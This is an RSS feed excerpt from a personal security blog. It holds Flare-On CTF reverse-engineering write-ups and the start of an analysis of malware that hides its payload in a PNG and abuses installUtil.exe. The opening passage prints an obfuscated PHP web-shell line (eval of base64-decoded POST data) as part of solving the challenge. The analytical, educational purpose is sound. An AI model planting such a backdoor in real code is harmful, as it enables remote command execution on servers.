class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;79&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;99&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6F&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6D&amp;#34;])) { eval(base64_decode($_POST[&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x31&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x4F&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x54&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;104&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x61&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x44&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;79&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x54&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;106&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;118&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;53&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x63&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;114&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x61&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x70&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;65&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;102&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6C&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x61&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;114&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;101&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x44&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;65&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x53&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;72&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6E&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x44&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x4F&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;99&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6F&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;x6D&amp;#34;])); }&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;__&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;is&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;$code=base64_decode($_);eval($code);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Once more to convert these values to characters we find the flag.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;_POST = &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;string2&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x4F&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x74&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x44&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x4F&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x54&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x6A&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x76&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x61&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x35&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x72&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x41&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x66&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x6C&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x72&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x65&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x44&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;65&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x53&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;72&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;110&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;79&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;84&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;99&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x6F&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x6D&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;string2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;chr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;_POST&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;a11DOTthatDOTjava5crapATflareDASHonDOTcom&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-1-2.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 1 - Challenge 1 - Bob Doge</title>
        <link>https://ben.the-collective.net/posts/2021-01-18-flare-on-1-challenge-1/</link>
        <pubDate>Mon, 18 Jan 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 18 Jan 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-01-18-flare-on-1-challenge-1/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
In the very first challenge you are presented with a windows executable and when you run it you are presented with a Bob Ross painting a nice scene.
But, when you click DECODE! You get a Bob Doge with an weird text string.
Digging a little deeper to see what type of file we have we find we hace a .</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the very first challenge you are presented with a windows executable and when you run it you are presented with a Bob Ross painting a nice scene.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-18-flare-on-1-challenge-1-images/Screen-Shot-2021-01-15-at-00.24.43.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
But, when you click DECODE! You get a Bob Doge with an weird text string.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-18-flare-on-1-challenge-1-images/Screen-Shot-2021-01-15-at-00.24.49.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Digging a little deeper to see what type of file we have we find we hace a .NET executable.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ file Challenge1.exe                                                   
Challenge1.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I next loaded the file up in dnSpy and after navigating from the entry point into Form1. I found the following code block.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-18-flare-on-1-challenge-1-images/80a9ebe1dec6470b85b7064fb1b21c3a.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The function “&lt;em&gt;btnDecode_Click()&lt;/em&gt;” looks very interesting, when stepping into it I find what looks to be a decoding algorithm that pulls its content from the Resources. I set a few breakpoints on the code just after the loops.&lt;/p&gt;
&lt;p&gt;After running to the breakpoint after the first loop the flag is in clear text in the “&lt;em&gt;text”&lt;/em&gt; variable. The next few loops re-encode the flag to return an obscured output shown in the UI.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-18-flare-on-1-challenge-1-images/258b0c4f203943ca9cc645f0a7ab27d5.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-1-1.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Reblog: Tackling the Microsoft Windows Zerologon Vulnerability</title>
        <link>https://ben.the-collective.net/posts/2020-10-28-reblog-tackling-the-microsoft-windows-zerologon-vulnerability/</link>
        <pubDate>Wed, 28 Oct 2020 09:00:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 28 Oct 2020 09:00:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-10-28-reblog-tackling-the-microsoft-windows-zerologon-vulnerability/</guid>
        <description>Check out a post I wrote on the CDW blog about Zerologon https://blog.cdw.com/security/tackling-the-microsoft-windows-zerologon-vulnerability</description>
        <content:encoded>&lt;h4 id=&#34;check-out-a-post-i-wrote-on-the-cdw-blog-about-zerologon&#34;&gt;Check out a post I wrote on the CDW blog about Zerologon&lt;/h4&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.cdw.com/security/tackling-the-microsoft-windows-zerologon-vulnerability&#34;&gt;https://blog.cdw.com/security/tackling-the-microsoft-windows-zerologon-vulnerability&lt;/a&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>exploits</category>
            
          
            
              <category>reblog</category>
            
          
            
              <category>security</category>
            
          
            
              <category>zerologon</category>
            
          
        
        
          
            
              <category>Meta</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Presentation: Introduction to Malware Analysis and Triage</title>
        <link>https://ben.the-collective.net/posts/2020-06-10-presentation-introduction-to-malware-analysis-and-triage/</link>
        <pubDate>Wed, 10 Jun 2020 19:25:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 10 Jun 2020 19:25:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-06-10-presentation-introduction-to-malware-analysis-and-triage/</guid>
        <description>Below are the slides my presentation at the Maine ISC(2) chapter meetup on June 10, 2020.</description>
        <content:encoded>&lt;p&gt;Below are the slides my presentation at the &lt;a href=&#34;http://www.isc2mainechapter.org/&#34;&gt;Maine ISC(2) chapter&lt;/a&gt; meetup on June 10, 2020.&lt;/p&gt;
&lt;iframe allowfullscreen=&#34;true&#34; frameborder=&#34;0&#34; height=&#34;327&#34; loading=&#34;lazy&#34; mozallowfullscreen=&#34;true&#34; src=&#34;https://docs.google.com/presentation/d/e/2PACX-1vRI3wFh3Hq4N6zgZNbvmEjowT46VwotEcgn1Mr545ZgdLaF6Sv_sdmoXzZ5TD828i2_u7kP1rbR0G9L/embed?start=false&amp;loop=false&amp;delayms=3000&#34; webkitallowfullscreen=&#34;true&#34; width=&#34;529&#34;&gt;&lt;/iframe&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>malware</category>
            
          
            
              <category>presentations</category>
            
          
            
              <category>security</category>
            
          
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>Presentations</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Decoding Malware Payload encoded in a PNG part 2 - &#34;W.H.O.bat&#34;</title>
        <link>https://ben.the-collective.net/posts/2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat/</link>
        <pubDate>Wed, 10 Jun 2020 09:00:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 10 Jun 2020 09:00:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat/</guid>
        <description>This post is a sequel to the post covering the sample “Bank Statement.bat.” I had received this message before the Bank Statement message, but I found the sample in the previous post was less obfuscated and easier to reverse engineer.
In this post, I will cover the different ways that this sample hid the decoding routes and how I was able to gather the data to run the same decoding script I used before to extract the payload from the PNG data within this sample.</description>
        <content:encoded>&lt;p&gt;This post is a sequel to the &lt;a href=&#34;https://ben.the-collective.net/2020/05/27/decoding-malware-payload-encoded-in-a-png-bank-statement-bat/&#34;&gt;post covering the sample “Bank Statement.bat.”&lt;/a&gt; I had received this message before the Bank Statement message, but I found the sample in the previous post was less obfuscated and easier to reverse engineer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-04-16-at-11.29.54.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
In this post, I will cover the different ways that this sample hid the decoding routes and how I was able to gather the data to run the same decoding script I used before to extract the payload from the PNG data within this sample.&lt;/p&gt;
&lt;h2 id=&#34;detailed-analysis&#34;&gt;Detailed Analysis&lt;/h2&gt;
&lt;p&gt;The metadata between the two samples is different but still tries to represent this .NET compiled binary is from “Apple Inc.” In this dump below, you see that this sample attempts to represent itself as an iTunes Visualizer.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Architecture:     IMAGE_FILE_MACHINE_I386
Subsystem:        IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 2020-Apr-16 11:34:55
Comments:         iTunes Visualizer Host
CompanyName:      Apple Inc.
FileDescription:  iTunes Visualizer Host
FileVersion:      4.4.3.0
InternalName:     Vi8BESIfUtQA5qX.exe
LegalCopyright:   © 2000-2020 Apple Inc. All rights reserved.
OriginalFilename: Vi8BESIfUtQA5qX.exe
ProductName:      iTunes Visualizer Host
ProductVersion:   4.4.3.0
Assembly Version: 1.4.0.0

Matching compiler(s):
    Microsoft Visual C# v7.0 / Basic .NET
    .NET executable -&amp;gt; Microsoft
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As with the previous sample there is an PNG file embedded in the binary. however the images is 20 pixels larger in each dimension.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Microsoft executable, portable (PE)
26921         0x6929          PNG image, 300 x 300, 8-bit/color RGBA, non-interlaced
26999         0x6977          Zlib compressed data, compressed
404804        0x62D44         Copyright string: &amp;#34;CopyrightAttribute&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-05-21-at-12.41.49.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Visually looking at the PNG data, it looks similar to the PNG data from the Bank Account.bat sample. Seeing this, I started to think I may be able to use the same method I used previously to decode the payload. As a first attempt, I ran the script as-is, and as I expected, it didn’t correctly decode the file. I was already assuming at least that this sample would use a different key.&lt;/p&gt;
&lt;p&gt;I started to look at the sample in dnSpy to find the key and the decoding methods in this binary. The first thing I noticed is that this .NET file either had more obfuscation or was just obfuscated differently than the previous binary I investigated. I was able to follow the flow from the entry point to where the sample starts a new process. There is not whole lot else interesting in the code after this point in the method.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-04-18-at-11.41.58.png&#34; alt=&#34;Process execution&#34; /&gt;After running the sample using the dnSpy debugger to decode the arguments of the Process.Start method call; I found that the sample executes “installUtil.exe” a .NET utility with the /u and the path to the location of the sample.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-04-18-at-12.28.29.png&#34; alt=&#34;Decoded method call arguments&#34; /&gt;Pulling up the documentation for installUtil.exe utility I found the following:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Installutil.exe uses reflection to inspect the specified assemblies and to find all Installer types that have the System.ComponentModel.RunInstallerAttribute attribute set to true. The tool then executes either the Installer.Install or the Installer.Uninstall method on each instance of the Installer type. Installutil.exe performs installation in a transactional manner; that is, if one of the assemblies fails to install, it rolls back the installations of all other assemblies. Uninstall is not transactional.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;cite&gt;&lt;a href=&#34;https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;&gt;https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note: I ran de4dot in between to make life a little easier to parse. It did not note any specific obfuscators.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In short, the &lt;em&gt;/u installUtil.exe&lt;/em&gt; option runs the &lt;em&gt;Uninstall&lt;/em&gt; method of the binary in the argument, in this case, the sample we are investigating. I searched the sample’s code for “Install” and found the following &lt;em&gt;Uninstall&lt;/em&gt; method. This method looks very similar to the method that executed the PNG parsing function on the Bank Account.bat malware. For example, this method has similarly named variables and a similar flow to the PNG decoding method in the other sample.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-05-20-at-15.20.15.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
